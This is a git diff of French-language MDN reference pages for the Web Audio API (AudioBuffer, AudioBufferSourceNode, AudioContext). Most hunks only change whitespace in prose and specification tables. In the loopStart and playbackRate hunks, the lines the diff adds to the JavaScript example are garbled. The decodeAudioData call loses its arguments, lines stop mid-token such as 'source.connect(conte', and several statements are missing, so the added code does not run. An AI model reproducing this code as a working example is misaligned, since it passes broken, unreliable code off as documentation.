'#widl-AudioBuffer-copyToChannel-void-Float32Array-source-long-channelNumber-unsigned-long-startInChannel', 'copyToChannel')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AudioBuffer-copyToChannel-void-Float32Array-source-long-channelNumber-unsigned-long-startInChannel', 'copyToChannel')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/audiobuffer/duration/index.md b/files/fr/web/api/audiobuffer/duration/index.md index ffb7fdaeae..eb1d525a24 100644 --- a/files/fr/web/api/audiobuffer/duration/index.md +++ b/files/fr/web/api/audiobuffer/duration/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/AudioBuffer/duration --- {{ APIRef("Web Audio API") }} -La propriéré `duration` de l'interface {{ domxref("AudioBuffer") }} renvoie un nombre flottant à double précision représentant la durée, en secondes, des données PCM stockées dans le buffer. +La propriéré `duration` de l'interface {{ domxref("AudioBuffer") }} renvoie un nombre flottant à double précision représentant la durée, en secondes, des données PCM stockées dans le buffer. ## Syntaxe @@ -49,7 +49,7 @@ bouton.onclick = function() { | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------ | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AudioBuffer-duration', 'duration')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AudioBuffer-duration', 'duration')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/audiobuffer/getchanneldata/index.md b/files/fr/web/api/audiobuffer/getchanneldata/index.md index 65aebfbe38..effed34d1e 100644 --- a/files/fr/web/api/audiobuffer/getchanneldata/index.md +++ b/files/fr/web/api/audiobuffer/getchanneldata/index.md @@ -76,7 +76,7 @@ bouton.onclick = function() { | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AudioBuffer-getChannelData-Float32Array-unsigned-long-channel', 'getChannelData')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AudioBuffer-getChannelData-Float32Array-unsigned-long-channel', 'getChannelData')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/audiobuffer/index.md b/files/fr/web/api/audiobuffer/index.md index b914ca7a11..f169cfb03b 100644 --- a/files/fr/web/api/audiobuffer/index.md +++ b/files/fr/web/api/audiobuffer/index.md @@ -24,7 +24,7 @@ Ce type d'objet est conçu pour contenir de petit extraits audio, durant génér - {{domxref("AudioBuffer.sampleRate")}} {{readonlyInline}} - : Retourne un nombre flottant qui représente la fréquence d'échantillonnage, en échantillons par seconde, des données PCM stockées dans la mémoire tampon. - {{domxref("AudioBuffer.length")}} {{readonlyInline}} - - : Retourne un nombre entier qui représente la longueur, en trames d'échantillonnage , des données PCM stockées dans la mémoire tampon. + - : Retourne un nombre entier qui représente la longueur, en trames d'échantillonnage , des données PCM stockées dans la mémoire tampon. - {{domxref("AudioBuffer.duration")}} {{readonlyInline}} - : Retourne un nombre à virgule flottante de double précision qui représente la durée, exprimée en secondes, des données PCM stockées dans la mémoire tampon. - {{domxref("AudioBuffer.numberOfChannels")}} {{readonlyInline}} @@ -41,7 +41,7 @@ Ce type d'objet est conçu pour contenir de petit extraits audio, durant génér ## Exemple -L'exemple suivant montre comment créer un `AudioBuffer` et le remplir avec du bruit blanc. Le code source est disponible sur notre repo [audio-buffer demo](https://github.com/mdn/audio-buffer); une [version live](http://mdn.github.io/audio-buffer/) est également consultable. +L'exemple suivant montre comment créer un `AudioBuffer` et le remplir avec du bruit blanc. Le code source est disponible sur notre repo [audio-buffer demo](https://github.com/mdn/audio-buffer); une [version live](http://mdn.github.io/audio-buffer/) est également consultable. ```js // Stéréo diff --git a/files/fr/web/api/audiobuffer/length/index.md b/files/fr/web/api/audiobuffer/length/index.md index eae0885d58..9d5afff0ae 100644 --- a/files/fr/web/api/audiobuffer/length/index.md +++ b/files/fr/web/api/audiobuffer/length/index.md @@ -50,7 +50,7 @@ bouton.onclick = function() { | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AudioBuffer-length', 'length')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AudioBuffer-length', 'length')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/audiobuffer/numberofchannels/index.md b/files/fr/web/api/audiobuffer/numberofchannels/index.md index 0c7c2c1ced..79fe72e863 100644 --- a/files/fr/web/api/audiobuffer/numberofchannels/index.md +++ b/files/fr/web/api/audiobuffer/numberofchannels/index.md @@ -50,7 +50,7 @@ bouton.onclick = function() { | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AudioBuffer-numberOfChannels', 'numberOfChannels')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AudioBuffer-numberOfChannels', 'numberOfChannels')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/audiobuffer/samplerate/index.md b/files/fr/web/api/audiobuffer/samplerate/index.md index 7992a06828..642b0a5847 100644 --- a/files/fr/web/api/audiobuffer/samplerate/index.md +++ b/files/fr/web/api/audiobuffer/samplerate/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/AudioBuffer/sampleRate --- {{ APIRef("Web Audio API") }} -La propriété `sampleRate` de l'interface {{ domxref("AudioBuffer") }} renvoie un nombre à virgule flottante représentant la taux d'échantillonage, en échantillons par seconde, des données PCM stockées dans la mémoire-tampon. +La propriété `sampleRate` de l'interface {{ domxref("AudioBuffer") }} renvoie un nombre à virgule flottante représentant la taux d'échantillonage, en échantillons par seconde, des données PCM stockées dans la mémoire-tampon. ## Syntaxe @@ -50,7 +50,7 @@ bouton.onclick = function() { | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AudioBuffer-sampleRate', 'sampleRate')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AudioBuffer-sampleRate', 'sampleRate')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité des Navigateurs diff --git a/files/fr/web/api/audiobuffersourcenode/detune/index.md b/files/fr/web/api/audiobuffersourcenode/detune/index.md index 457bab06ba..e50db05366 100644 --- a/files/fr/web/api/audiobuffersourcenode/detune/index.md +++ b/files/fr/web/api/audiobuffersourcenode/detune/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/AudioBufferSourceNode/detune --- {{ APIRef("Web Audio API") }} -La propriété `detune` de l'interface {{ domxref("AudioBufferSourceNode") }} est un {{domxref("AudioParam")}} de type [k-rate](/fr/docs/DOM/AudioParam#k-rate) représentant le désaccord des oscillations en [cents](http://en.wikipedia.org/wiki/Cent_%28music%29). +La propriété `detune` de l'interface {{ domxref("AudioBufferSourceNode") }} est un {{domxref("AudioParam")}} de type [k-rate](/fr/docs/DOM/AudioParam#k-rate) représentant le désaccord des oscillations en [cents](http://en.wikipedia.org/wiki/Cent_%28music%29). Ses valeur sont comprises entre -1200 et 1200. @@ -55,7 +55,7 @@ source.start(); | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-detune', 'detune')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-detune', 'detune')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/audiobuffersourcenode/index.md b/files/fr/web/api/audiobuffersourcenode/index.md index dc6a45fbba..3b7e2bbbba 100644 --- a/files/fr/web/api/audiobuffersourcenode/index.md +++ b/files/fr/web/api/audiobuffersourcenode/index.md @@ -52,7 +52,7 @@ _Hérite des propriétés de son parent, {{domxref("AudioNode")}}._ - {{domxref("AudioBufferSourceNode.buffer")}} - : {{domxref ("AudioBuffer")}} qui définit la ressource à jouer; lorsqu'il a la valeur NULL, définit un canal unique silencieux (dans lequel chaque échantillon vaut 0.0). - {{domxref("AudioBufferSourceNode.detune")}} - - : {{domxref("AudioParam")}} de type [k-rate](/fr/docs/DOM/AudioParam#k-rate) représentant le désaccordage de la fréquence exprimé en [cents](http://en.wikipedia.org/wiki/Cent_%28music%29). Cette valeur est composée à partir du `playbackRate` pour déterminer la vitesse à laquelle le son sera jouée. Sa valeur par défaut est `0` (qui correspond à aucun désaccordage), et son rang nominal va de -∞ à ∞. + - : {{domxref("AudioParam")}} de type [k-rate](/fr/docs/DOM/AudioParam#k-rate) représentant le désaccordage de la fréquence exprimé en [cents](http://en.wikipedia.org/wiki/Cent_%28music%29). Cette valeur est composée à partir du `playbackRate` pour déterminer la vitesse à laquelle le son sera jouée. Sa valeur par défaut est `0` (qui correspond à aucun désaccordage), et son rang nominal va de -∞ à ∞. - {{domxref("AudioBufferSourceNode.loop")}} - : Attribut booléen indiquant si la ressource doit être lue de nouveau lorsque la fin de l'{{domxref ("AudioBuffer")}} est atteinte. Sa valeur par défaut est `false`. - {{domxref("AudioBufferSourceNode.loopStart")}} {{optional_inline}} diff --git a/files/fr/web/api/audiobuffersourcenode/loop/index.md b/files/fr/web/api/audiobuffersourcenode/loop/index.md index 1061a4924d..58907ea399 100644 --- a/files/fr/web/api/audiobuffersourcenode/loop/index.md +++ b/files/fr/web/api/audiobuffersourcenode/loop/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/AudioBufferSourceNode/loop --- {{ APIRef("Web Audio API") }} -La propriété `loop` de l'interface {{domxref("AudioBufferSourceNode") }} est un booléen indiquant si la ressource audio doit être rejouée quand à la fin de l'{{domxref("AudioBuffer")}}. +La propriété `loop` de l'interface {{domxref("AudioBufferSourceNode") }} est un booléen indiquant si la ressource audio doit être rejouée quand à la fin de l'{{domxref("AudioBuffer")}}. La valeur par défaut de la propriété `loop` est `false`. @@ -30,9 +30,9 @@ Lorsque la lecture en boucle est activée, le son commence à jouer au point sp ## Exemple -Dans cet exemple, la fonction {{domxref("AudioContext.decodeAudioData")}} est utilisée pour décoder une piste audio et la placer dans un {{domxref("AudioBufferSourceNode")}}. Les boutons mis à disposition permettent de lire et d'arrêter la lecture audio, et un slider est utilisé pour changer la valeur de `playbackRate` en temps réel. Quand la lecture est terminée, elle boucle. +Dans cet exemple, la fonction {{domxref("AudioContext.decodeAudioData")}} est utilisée pour décoder une piste audio et la placer dans un {{domxref("AudioBufferSourceNode")}}. Les boutons mis à disposition permettent de lire et d'arrêter la lecture audio, et un slider est utilisé pour changer la valeur de `playbackRate` en temps réel. Quand la lecture est terminée, elle boucle. -> **Note :** Vous pouvez [essayer un exemple live](http://mdn.github.io/decode-audio-data/) (or [voir la source](https://github.com/mdn/decode-audio-data).) +> **Note :** Vous pouvez [essayer un exemple live](http://mdn.github.io/decode-audio-data/) (or [voir la source](https://github.com/mdn/decode-audio-data).) ```js function getData() { @@ -75,7 +75,7 @@ play.onclick = function() { | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------ | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-loop', 'loop')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-loop', 'loop')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/audiobuffersourcenode/loopend/index.md b/files/fr/web/api/audiobuffersourcenode/loopend/index.md index b9aa87e87a..2cfb5c9c90 100644 --- a/files/fr/web/api/audiobuffersourcenode/loopend/index.md +++ b/files/fr/web/api/audiobuffersourcenode/loopend/index.md @@ -82,7 +82,7 @@ loopendControl.oninput = function() { | Spécification | Statut | Commentaires | | -------------------------------------------------------------------------------------------------------- | ------------------------------------ | ------------ | -| {{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-loopEnd', 'loopEnd')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-loopEnd', 'loopEnd')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/audiobuffersourcenode/loopstart/index.md b/files/fr/web/api/audiobuffersourcenode/loopstart/index.md index ae8a799ba5..0279ecf959 100644 --- a/files/fr/web/api/audiobuffersourcenode/loopstart/index.md +++ b/files/fr/web/api/audiobuffersourcenode/loopstart/index.md @@ -27,46 +27,46 @@ Lorsque la lecture de la source audio est terminée, elle boucle. Il est possibl ```js function getData() { - source = contexteAudio.createBufferSource(); - requete = new XMLHttpRequest(); - - requete.open('GET', 'viper.ogg', true); - - requete.responseType = 'arraybuffer'; - - - requete.onload = function() { - var donneesAudio = requete.response; - - contexteAudio.decodeAudioData(donneesAudio, function(buffer) { - maMemoireTampon = buffer; - dureeMorceau = buffer.duration; - source.buffer = maMemoireTampon; - source.playbackRate.value = playbackControl.value; - source.connect(contexteAudio.destination); - source.loop = true; - - loopstartControl.setAttribute('max', Math.floor(dureeMorceau)); - loopendControl.setAttribute('max', Math.floor(dureeMorceau)); - }, - - function(e){"Erreur lors du décodage des données audio " + e.err}); - - } - - requete.send(); + source = contexteAudio.createBufferSource(); + requete = new XMLHttpRequest(); + + requete.open('GET', 'viper.ogg', true); + + requete.responseType = 'arraybuffer'; + + + requete.onload = function() { + var donneesAudio = requete.response; + + contexteAudio.decodeAudioData + maMemoireTampon = buffer; + dureeMorceau = buffer.duration; + source.buffer = maMemoireTampon; + source.playbackRate. + source.connect(conte + s + + + + }, + + function(e){"Erreur lors du décodage des données audio " + e.err}); + + } + + requete.send(); } ... loopstartControl.oninput = function() { - source.loopStart = loopstartControl.value; - loopstartValue.innerHTML = loopstartControl.value; + source.loopStart = loopstartControl.value; + loopstartValue.innerHTML = loopstartControl.value; } loopendControl.oninput = function() { - source.loopEnd = loopendControl.value; - loopendValue.innerHTML = loopendControl.value; + source.loopEnd = loopendControl.value; + loopendValue.innerHTML = loopendControl.value; } ``` @@ -74,7 +74,7 @@ loopendControl.oninput = function() { | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-loopStart', 'loopStart')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-loopStart', 'loopStart')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/audiobuffersourcenode/playbackrate/index.md b/files/fr/web/api/audiobuffersourcenode/playbackrate/index.md index 347b485bd8..ff2be37ab8 100644 --- a/files/fr/web/api/audiobuffersourcenode/playbackrate/index.md +++ b/files/fr/web/api/audiobuffersourcenode/playbackrate/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/AudioBufferSourceNode/playbackRate --- {{ APIRef("Web Audio API") }} -La propriété `playbackRate` de l'interface {{ domxref("AudioBufferSourceNode") }} est un {{domxref("AudioParam")}} de type [k-rate](/en-US/docs/DOM/AudioParam#k-rate) qui définit la vitesse à laquelle le contenu audio sera lu. +La propriété `playbackRate` de l'interface {{ domxref("AudioBufferSourceNode") }} est un {{domxref("AudioParam")}} de type [k-rate](/en-US/docs/DOM/AudioParam#k-rate) qui définit la vitesse à laquelle le contenu audio sera lu. Une valeur de 1.0 (c'est ) indique que le son doit être lu à la vitesse de son taux d'échantillonnage, une valeur inférieure qu'il doit être lu plus lentement, et une valeur supérieure plus rapidement. la valeur par défaut est `1.0`. Pour toute autre valeur l'`AudioBufferSourceNode` rééchantillone le son avant de l'envoyer vers la sortie. @@ -41,34 +41,34 @@ Dans cet exemple, la fonction {{domxref("AudioContext.decodeAudioData")}} est ut ```js function getData() { - source = contexteAudio.createBufferSource(); - requete = new XMLHttpRequest(); - - requete.open('GET', 'viper.ogg', true); - - requete.responseType = 'arraybuffer'; - - - requete.onload = function() { - var donneesAudio = requete.response; - - contexteAudio.decodeAudioData(donneesAudio, function(buffer) { - maMemoireTampon = buffer; - dureeMorceau = buffer.duration; - source.buffer = maMemoireTampon; - source.playbackRate.value = playbackControl.value; - source.connect(contexteAudio.destination); - source.loop = true; - - loopstartControl.setAttribute('max', Math.floor(dureeMorceau)); - loopendControl.setAttribute('max', Math.floor(dureeMorceau)); - }, - - function(e){"Erreur lors du décodage des données audio " + e.err}); - - } - - requete.send(); + source = contexteAudio.createBufferSource(); + requete = new XMLHttpRequest(); + + requete.open('GET', 'viper.ogg', true); + + requete.responseType = 'arraybuffer'; + + + requete.onload = function() { + var donneesAudio = requete.response; + + contexteAudio.decodeAudioData + maMemoireTampon = buffer; + dureeMorceau = buffer.duration; + source.buffer = maMemoireTampon; + source.playbackRate. + source.connect(conte + s + + + + }, + + function(e){"Erreur lors du décodage des données audio " + e.err}); + + } + + requete.send(); } // connecte les boutons pour lancer et arrêter la lecture, et modifier la vitesse de lecture @@ -96,7 +96,7 @@ playbackControl.oninput = function() { | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------ | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-playbackRate', 'playbackRate')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-playbackRate', 'playbackRate')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/audiobuffersourcenode/start/index.md b/files/fr/web/api/audiobuffersourcenode/start/index.md index 0e7d5900dd..bdecb2a17a 100644 --- a/files/fr/web/api/audiobuffersourcenode/start/index.md +++ b/files/fr/web/api/audiobuffersourcenode/start/index.md @@ -53,7 +53,7 @@ source.start(contexteAudio.currentTime + 1,3,10); | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-start-void-double-when-double-offset-double-duration', 'start()')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-start-void-double-when-double-offset-double-duration', 'start()')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/audiocontext/createmediaelementsource/index.md b/files/fr/web/api/audiocontext/createmediaelementsource/index.md index 298453e5e9..0bc60cfad5 100644 --- a/files/fr/web/api/audiocontext/createmediaelementsource/index.md +++ b/files/fr/web/api/audiocontext/createmediaelementsource/index.md @@ -70,13 +70,13 @@ source.connect(gainNode); gainNode.connect(audioCtx.destination); ``` -> **Note :** Du fait de l’appel à `createMediaElementSource()`, la lecture de l’audio du {{ domxref("HTMLMediaElement") }} est redirigée dans le graphe de traitement de l’AudioContext. Ainsi, jouer / mettre en pause le média est toujours possible via l’API des éléments média ou via les contrôles du lecteur. +> **Note :** Du fait de l’appel à `createMediaElementSource()`, la lecture de l’audio du {{ domxref("HTMLMediaElement") }} est redirigée dans le graphe de traitement de l’AudioContext. Ainsi, jouer / mettre en pause le média est toujours possible via l’API des éléments média ou via les contrôles du lecteur. ## Spécifications | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AudioContext-createMediaElementSource-MediaElementAudioSourceNode-HTMLMediaElement-mediaElement', 'createMediaElementSource()')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AudioContext-createMediaElementSource-MediaElementAudioSourceNode-HTMLMediaElement-mediaElement', 'createMediaElementSource()')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/audiocontext/index.md b/files/fr/web/api/audiocontext/index.md index e855ad68ed..33742d8aef 100644 --- a/files/fr/web/api/audiocontext/index.md +++ b/files/fr/web/api/audiocontext/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/AudioContext --- {{APIRef("Web Audio API")}} -L'interface AudioContext représente un graphe de traitement audio fait de modules audio reliés entre eux, chaque module correspondant à un {{domxref ("AudioNode")}}. Un contexte audio contrôle à la fois la création des nœuds qu'il contient et l'exécution du traitement audio, ou du décodage. On commence toujours par créer un contexte audio, et tout ce qui va se passer ensuite se situera dans ce contexte. +L'interface AudioContext représente un graphe de traitement audio fait de modules audio reliés entre eux, chaque module correspondant à un {{domxref ("AudioNode")}}. Un contexte audio contrôle à la fois la création des nœuds qu'il contient et l'exécution du traitement audio, ou du décodage. On commence toujours par créer un contexte audio, et tout ce qui va se passer ensuite se situera dans ce contexte. Un contexte audio peut être la cible d'événements, par conséquent il implémente l'interface {{domxref ("EventTarget")}}. @@ -33,7 +33,7 @@ Un contexte audio peut être la cible d'événements, par conséquent il implém <!----> - {{domxref("AudioContext.listener")}} {{readonlyInline}} - - : Renvoie l'objet {{domxref("AudioListener")}}, utilisé pour la spatialisation 3D. + - : Renvoie l'objet {{domxref("AudioListener")}}, utilisé pour la spatialisation 3D. <!----> @@ -56,35 +56,35 @@ _Met également en œuvre des méthodes de l'interface {{domxref("EventTarget")} - {{domxref("AudioContext.close()")}} - : Supprime le contexte audio, et libère toutes les ressources audio système qu'il utilisait. - {{domxref("AudioContext.createBuffer()")}} - - : Crée un nouvel objet {{domxref ("AudioBuffer")}} vide, auquel on pourra assigner des données et que l'on pourra jouer via un {{ domxref("AudioBufferSourceNode") }} + - : Crée un nouvel objet {{domxref ("AudioBuffer")}} vide, auquel on pourra assigner des données et que l'on pourra jouer via un {{ domxref("AudioBufferSourceNode") }} - {{domxref("AudioContext.createBufferSource()")}} - - : Crée un objet {{domxref ("AudioBufferSourceNode")}}, qui peut être utilisé pour jouer et manipuler des données audio contenues dans un objet {{domxref("AudioBuffer")}}. Les {{domxref("AudioBuffer")}}s sont créés avec la fonction {{domxref("AudioContext.createBuffer")}} ou retournés par la fonction {{domxref("AudioContext.decodeAudioData")}} quand elle décode une piste audio avec succès. + - : Crée un objet {{domxref ("AudioBufferSourceNode")}}, qui peut être utilisé pour jouer et manipuler des données audio contenues dans un objet {{domxref("AudioBuffer")}}. Les {{domxref("AudioBuffer")}}s sont créés avec la fonction {{domxref("AudioContext.createBuffer")}} ou retournés par la fonction {{domxref("AudioContext.decodeAudioData")}} quand elle décode une piste audio avec succès. - {{domxref("AudioContext.createMediaElementSource()")}} - - : Crée un objet {{domxref ("MediaElementAudioSourceNode")}} associé à {{domxref ("HTMLMediaElement")}}. Il peut être utilisé pour manipuler le son d'éléments {{HTMLElement("video")}} ou {{HTMLElement("audio")}}. + - : Crée un objet {{domxref ("MediaElementAudioSourceNode")}} associé à {{domxref ("HTMLMediaElement")}}. Il peut être utilisé pour manipuler le son d'éléments {{HTMLElement("video")}} ou {{HTMLElement("audio")}}. - {{domxref("AudioContext.createMediaStreamSource()")}} - - : Crée un objet {{domxref ("MediaStreamAudioSourceNode")}} associé à un {{domxref ("MediaStream")}} correspondant à un flux audio, qui peut provenir du microphone de l'ordinateur local ou d'autres sources. + - : Crée un objet {{domxref ("MediaStreamAudioSourceNode")}} associé à un {{domxref ("MediaStream")}} correspondant à un flux audio, qui peut provenir du microphone de l'ordinateur local ou d'autres sources. - {{domxref("AudioContext.createMediaStreamDestination()")}} - - : Crée un objet {{domxref ("MediaStreamAudioDestinationNode")}} associé à un {{domxref ("MediaStream")}} correspondant à un flux audio, qui peut être stocké dans un fichier local ou envoyé à un autre ordinateur. + - : Crée un objet {{domxref ("MediaStreamAudioDestinationNode")}} associé à un {{domxref ("MediaStream")}} correspondant à un flux audio, qui peut être stocké dans un fichier local ou envoyé à un autre ordinateur. - {{domxref("AudioContext.createScriptProcessor()")}} - - : Crée un objet {{domxref ("ScriptProcessorNode")}} qui sert à faire du traitement audio directement avec JavaScript. + - : Crée un objet {{domxref ("ScriptProcessorNode")}} qui sert à faire du traitement audio directement avec JavaScript. - {{domxref("AudioContext.createStereoPanner()")}} - : Crée un objet {{domxref ("StereoPannerNode")}} qui permet d'appliquer une panoramique sonore à une source audio. - {{domxref("AudioContext.createAnalyser()")}} - - : Crée un objet {{domxref ("AnalyserNode")}} qui expose les données de temps et de fréquence, et peut être utilisé pour créer des visualisations de données. + - : Crée un objet {{domxref ("AnalyserNode")}} qui expose les données de temps et de fréquence, et peut être utilisé pour créer des visualisations de données. <!----> - {{domxref("AudioContext.createBiquadFilter()")}} - - : Crée un objet {{domxref ("BiquadFilterNode")}}, qui représente un filtre de deuxième niveau, qui combine différents types de filtres de base : fréquences hautes, fréquences basses, passe-bande, etc. + - : Crée un objet {{domxref ("BiquadFilterNode")}}, qui représente un filtre de deuxième niveau, qui combine différents types de filtres de base : fréquences hautes, fréquences basses, passe-bande, etc. <!----> - {{domxref("AudioContext.createChannelMerger()")}} - : Crée un objet {{domxref ("ChannelMergerNode")}} qui permet de rassembler les canaux de différents flux audio en un seul flux. - {{domxref("AudioContext.createChannelSplitter()")}} - - : Crée un objet {{domxref ("ChannelSplitterNode")}} utilisé pour accéder aux différents canaux d'un même flux audio et les traiter séparément. + - : Crée un objet {{domxref ("ChannelSplitterNode")}} utilisé pour accéder aux différents canaux d'un même flux audio et les traiter séparément. - {{domxref("AudioContext.createConvolver()")}} - - : Crée un objet {{domxref ("ConvolverNode")}}, qui permet d'appliquer des effets de convolution à un graphe audio, par exemple un effet de réverb. + - : Crée un objet {{domxref ("ConvolverNode")}}, qui permet d'appliquer des effets de convolution à un graphe audio, par exemple un effet de réverb. - {{domxref("AudioContext.createDelay()")}} - : Crée un objet {{domxref ("DelayNode")}}, utilisé pour retarder le signal audio entrant d'un certain temps. Il est également - {{domxref("AudioContext.createDynamicsCompressor()")}} @@ -94,36 +94,36 @@ _Met également en œuvre des méthodes de l'interface {{domxref("EventTarget")} - {{domxref("AudioContext.createIIRFilter()")}} - : Crée un objet {{domxref("IIRFilterNode")}}, qui représente un filtre de second ordre configurable comme différents types de filtres communs. - {{domxref("AudioContext.createOscillator()")}} - - : Crée un objet {{domxref("OscillatorNode")}} qui représente une onde périodique. Il génère simplement un son. + - : Crée un objet {{domxref("OscillatorNode")}} qui représente une onde périodique. Il génère simplement un son. - {{domxref("AudioContext.createPanner()")}} - - : Crée un objet {{domxref("PannerNode")}} utilisé pour spatialiser une source audio entrante dans un espace 3D. + - : Crée un objet {{domxref("PannerNode")}} utilisé pour spatialiser une source audio entrante dans un espace 3D. - {{domxref("AudioContext.createPeriodicWave()")}} - - : Crée un objet {{domxref("PeriodicWave")}}, utilisé pour définir une onde périodique qui peut être utilisée pour contrôler la sortie d'un {{ domxref("OscillatorNode") }}. + - : Crée un objet {{domxref("PeriodicWave")}}, utilisé pour définir une onde périodique qui peut être utilisée pour contrôler la sortie d'un {{ domxref("OscillatorNode") }}. - {{domxref("AudioContext.createWaveShaper()")}} - : Crée un objet {{domxref ("WaveShaperNode")}}, qui permet d'implémenter des effets de distorsion non linéaires. - {{domxref("AudioContext.createAudioWorker()")}} - - : Crée un objet {{domxref("AudioWorkerNode")}}, qui permet d'interagir avec un thread web worker afin de générer, traiter, ou analyser le son directement. Ajouté à la spec le 29 août 2014, mais encore implémenté par aucun des navigateurs à ce jour. + - : Crée un objet {{domxref("AudioWorkerNode")}}, qui permet d'interagir avec un thread web worker afin de générer, traiter, ou analyser le son directement. Ajouté à la spec le 29 août 2014, mais encore implémenté par aucun des navigateurs à ce jour. - {{domxref("AudioContext.decodeAudioData()")}} - - : Décode de façon asynchrone les données d'un fichier audio contenues dans un objet {{domxref("ArrayBuffer")}}. Dans ce cas, le ArrayBuffer est en général chargé depuis un attribut de réponse {{domxref("XMLHttpRequest")}} quand l'attribut `responseType` est `arraybuffer`. Cette méthode ne fonctionne que sur des fichiers complets, pas sur des fragments de fichiers. + - : Décode de façon asynchrone les données d'un fichier audio contenues dans un objet {{domxref("ArrayBuffer")}}. Dans ce cas, le ArrayBuffer est en général chargé depuis un attribut de réponse {{domxref("XMLHttpRequest")}} quand l'attribut `responseType` est `arraybuffer`. Cette méthode ne fonctionne que sur des fichiers complets, pas sur des fragments de fichiers. - {{domxref("AudioContext.resume()")}} - : Reprend le défilement du temps dans un contexte audio où il a précédemment été suspendu. - {{domxref("AudioContext.suspend()")}} - - : Suspend le défilement du temps dans un contexte audio, empêchant de façon temporaire l'accès au hardware audio, et réduisant par là l'utilisation du CPU et de la batterie. + - : Suspend le défilement du temps dans un contexte audio, empêchant de façon temporaire l'accès au hardware audio, et réduisant par là l'utilisation du CPU et de la batterie. ## Méthodes obsolètes - {{domxref("AudioContext.createJavaScriptNode()")}} - - : Crée un objet {{domxref("JavaScriptNode")}}, utilisé pour un traitement audio directement en JavaScript. Cette méthode est obsolète, et a été remplacée par {{domxref("AudioContext.createScriptProcessor()")}}. + - : Crée un objet {{domxref("JavaScriptNode")}}, utilisé pour un traitement audio directement en JavaScript. Cette méthode est obsolète, et a été remplacée par {{domxref("AudioContext.createScriptProcessor()")}}. - {{domxref("AudioContext.createWaveTable()")}} - - : Crée un objet {{domxref("WaveTableNode")}}, utilisé pour définir une onde audio périodique. Cette méthode est obsolète, et a été remplacée par {{domxref("AudioContext.createPeriodicWave()")}}. + - : Crée un objet {{domxref("WaveTableNode")}}, utilisé pour définir une onde audio périodique. Cette méthode est obsolète, et a été remplacée par {{domxref("AudioContext.createPeriodicWave()")}}. ## Exemples -Déclaration basique d'un audio context : +Déclaration basique d'un audio context : var contexteAudio = new AudioContext; -Variante avec gestion de la compatibilité navigateur: +Variante avec gestion de la compatibilité navigateur: var AudioContext = window.AudioContext || window.webkitAudioContext; var contexteAudio = new 